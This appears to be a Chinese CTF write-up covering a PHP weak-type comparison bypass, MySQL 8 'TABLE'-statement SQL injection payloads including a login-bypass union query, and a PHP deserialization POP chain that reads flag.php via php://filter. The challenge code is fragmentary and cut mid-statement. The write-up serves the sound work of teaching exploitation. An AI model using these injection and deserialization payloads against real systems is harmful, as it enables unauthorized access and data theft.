弱比较
题干
$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>
$info[“year”]=2022,if比较的赋值,永真
0项值为0绕过array_search()函数,其他随意
payload:
?Information={"year":"a","items":[0,["1","2","3"],"1"]}
“弱类型就是如此神奇”
MySQL8新特性利用
sqlmap跑得mysql数据库版本为8,利用MySQL8新特性进行绕过 select
题目说邮箱忘记了,猜测表名为emails
payload: id=-1 union table emails limit 7,1
第七行第一条数据显示有一个压缩包文件
源码中可以看到username无任何过滤,
payload: usernmae=1' union select 1,0x61646d696e,3#&passwd=3
学到了mysql8的table
Road_is_Long->wakeup()(preg_match)->toString()(输出不存在的对象)->Make_a_Change->get()->Try_Work_Hard->invoke()(函数调用)->append()->include(包含flag)
page = $file;
}
public function __toString(){
echo '__toString';
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|../i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){